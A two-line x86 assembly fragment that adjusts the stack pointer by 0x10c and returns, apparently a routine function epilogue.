add esp, 0x10c
ret